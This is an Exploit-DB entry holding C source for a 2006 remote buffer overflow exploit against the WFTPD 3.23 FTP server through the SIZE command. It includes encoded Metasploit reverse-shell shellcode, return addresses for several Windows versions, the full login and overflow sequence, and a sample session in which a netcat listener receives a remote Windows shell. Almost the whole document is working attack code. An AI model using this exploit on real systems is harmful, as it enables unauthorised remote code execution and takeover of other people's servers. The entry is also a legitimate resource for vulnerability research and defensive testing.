Exploit-DB #2233
Description: Texas Imperial Software WFTPD 3.23 - 'SIZE' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2006-08-21
Author: h07

Exploit:
/*
* wftpd_exp.c
* WFTPD server 3.23 (SIZE) 0day remote buffer overflow exploit
* coded by h07 <h07@interia.pl> 
* tested on XP SP2 polish, 2000 SP4 polish
* example..

C:\>wftpd_exp 0 0 192.168.0.2 h07 open 192.168.0.1 4444

[*] WFTPD server 3.23 (SIZE) 0day remote buffer overflow exploit
[*] coded by h07 <h07@interia.pl>
[*] FTP response: 331 Give me your password, please
[*] FTP response: 230 Logged in successfully
[+] sending buffer: ok
[*] press enter to quit

C:\>nc -l -p 4444
Microsoft Windows XP [Wersja 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\wftpd323>
*/

#include <stdio.h>
#include <winsock2.h>
#define BUFF_SIZE 1024
#define PORT 21

//win32 reverse shellcode (metasploit.com)

char shellcode[] =

"\x31\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6"
"\x10\x92\x98\x83\xeb\xfc\xe2\xf4\x4a\x7a\x79\xd5\x5e\xe9\x6d\x67"
"\x49\x70\x19\xf4\x92\x34\x19\xdd\x8a\x9b\xee\x9d\xce\x11\x7d\x13"
"\xf9\x08\x19\xc7\x96\x11\x79\xd1\x3d\x24\x19\x99\x58\x21\x52\x01"
"\x1a\x94\x52\xec\xb1\xd1\x58\x95\xb7\xd2\x79\x6c\x8d\x44\xb6\xb0"
"\xc3\xf5\x19\xc7\x92\x11\x79\xfe\x3d\x1c\xd9\x13\xe9\x0c\x93\x73"
"\xb5\x3c\x19\x11\xda\x34\x8e\xf9\x75\x21\x49\xfc\x3d\x53\xa2\x13"
"\xf6\x1c\x19\xe8\xaa\xbd\x19\xd8\xbe\x4e\xfa\x16\xf8\x1e\x7e\xc8"
"\x49\xc6\xf4\xcb\xd0\x78\xa1\xaa\xde\x67\xe1\xaa\xe9\x44\x6d\x48"
"\xde\xdb\x7f\x64\x8d\x40\x6d\x4e\xe9\x99\x77\xfe\x37\xfd\x9a\x9a"
"\xe3\x7a\x90\x67\x66\x78\x4b\x91\x43\xbd\xc5\x67\x60\x43\xc1\xcb"
"\xe5\x53\xc1\xdb\xe5\xef\x42\xf0\xb6\x10\x92\x98\xd0\x78\x92\x98"
"\xd0\x43\x1b\x79\x23\x78\x7e\x61\x1c\x70\xc5\x67\x60\x7a\x82\xc9"
"\xe3\xef\x42\xfe\xdc\x74\xf4\xf0\xd5\x7d\xf8\xc8\xef\x39\x5e\x11"
"\x51\x7a\xd6\x11\x54\x21\x52\x6b\x1c\x85\x1b\x65\x48\x52\xbf\x66"
"\xf4\x3c\x1f\xe2\x8e\xbb\x39\x33\xde\x62\x6c\x2b\xa0\xef\xe7\xb0"
"\x49\xc6\xc9\xcf\xe4\x41\xc3\xc9\xdc\x11\xc3\xc9\xe3\x41\x6d\x48"
"\xde\xbd\x4b\x9d\x78\x43\x6d\x4e\xdc\xef\x6d\xaf\x49\xc0\xfa\x7f"
"\xcf\xd6\xeb\x67\xc3\x14\x6d\x4e\x49\x67\x6e\x67\x66\x78\x62\x12"
"\xb2\x4f\xc1\x67\x60\xef\x42\x98";

void config_shellcode(unsigned long ip, unsigned short port)
  {
  memcpy(&shellcode[184], &ip, 4);
  memcpy(&shellcode[190], &port, 2);  
  }     

unsigned long target[] = 
  {
  0x7d16887b, //JMP ESI (XP SP2 polish)
  0x776f2015, //JMP ESI (2000 SP4 polish)
  0x7cb9e082, //JMP ESI (XP SP2 english)
  0x7848a5f1, //JMP ESI (2000 SP4 english)
  0x7ca96834  //JMP ESI (XP SP2 german) 
  };           

char buffer[BUFF_SIZE];

main(int argc, char *argv[])
{
int sock, id, opt, r_len;
unsigned long eip;
unsigned long connectback_IP;
unsigned short connectback_port;
struct hostent *he;
struct sockaddr_in client;
WSADATA wsa;

printf("\n[*] WFTPD server 3.23 (SIZE) 0day remote buffer overflow exploit\n");
printf("[*] coded by h07 <h07@interia.pl>\n");  

if(argc < 8)
  {
  printf("[*] usage:..\n %s <ID> <opt> <host> <user> <pass> <connectback_IP> <connectback_port>\n\n", argv[0]);
  printf("[*] ID list:\n");
  printf("[>] 0: XP SP2 polish\n");
  printf("[>] 1: 2000 SP4 polish\n");
  printf("[>] 2: XP SP2 english\n");
  printf("[>] 3: 2000 SP4 english\n");
  printf("[>] 4: XP SP2 german\n\n");
  printf("[*] opt - WFTPD option 'restrict to home directory and below'\n");
  printf("[>] 0: disabled\n");
  printf("[>] 1: enabled\n\n");
  printf("[*] sample: %s 0 0 192.168.0.2 h07 open 192.168.0.1 4444\n\n", argv[0]);
  exit(0);   
  } 

WSAStartup(MAKEWORD(2, 0), &wsa);

id = atoi(argv[1]);
opt = atoi(argv[2]);

if((id > 4) || (id < 0))
  {
  printf("[-] ID error: unknown target\n");
  exit(-1);     
  }  
  
if((opt > 1) || (opt < 0))
  {
  printf("[-] opt error: unknown option\n");
  exit(-1);      
  }          
  
eip = target[id];
connectback_IP = inet_addr(argv[6]) ^ (ULONG)0x989210b6;
connectback_port = htons(atoi(argv[7])) ^ (USHORT)0x9892;
config_shellcode(connectback_IP, connectback_port);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if((he = gethostbyname(argv[3])) == NULL)
  {
  printf("[-] Unable to resolve\n");
  exit(-1); 
  }
 
client.sin_addr = *((struct in_addr *)he->h_addr); 
client.sin_port = htons(PORT); 
client.sin_family = AF_INET;   

if(connect(sock, (struct sockaddr *) &client, sizeof(client)) == -1)
  {
  printf("[-] error: connect()\n");
  exit(-1);
  }

recv(sock, buffer, BUFF_SIZE -1, 0); 

//USER
memset(buffer, 0, BUFF_SIZE);
sprintf(buffer, "USER %s\r\n", argv[4]);
send(sock, buffer, strlen(buffer), 0);  
recv(sock, buffer, BUFF_SIZE -1, 0);
printf("[*] FTP response: %s", buffer);

//PASS
memset(buffer, 0, BUFF_SIZE);
sprintf(buffer, "PASS %s\r\n", argv[5]);
send(sock, buffer, strlen(buffer), 0);  
recv(sock, buffer, BUFF_SIZE -1, 0);
printf("[*] FTP response: %s", buffer);

if(strstr(buffer, "530") != 0) exit(-1);

//SIZE
memset(buffer, 0x90, BUFF_SIZE);
memcpy(buffer, "SIZE ", 5);

switch(opt)
  {
  case 0:
    { 
    memcpy(buffer + 5, "/", 1);
    r_len = 531;
    break;
    }
  case 1: 
    {
    memcpy(buffer + 5, "//", 2);
    r_len = 532;
    break;
    }                  
  }

memcpy(buffer + 7, shellcode, sizeof(shellcode) -1);          
*((unsigned long*)(&buffer[r_len])) = eip;
memcpy(buffer + (r_len + 4), "\r\n\x00", 3);


if(send(sock, buffer, strlen(buffer), 0) != -1)
  printf("[+] sending buffer: ok\n");
  else
  printf("[-] sending buffer: failed\n");
    
printf("[*] press enter to quit\n");
getchar();    
}

//EoF

// milw0rm.com [2006-08-21]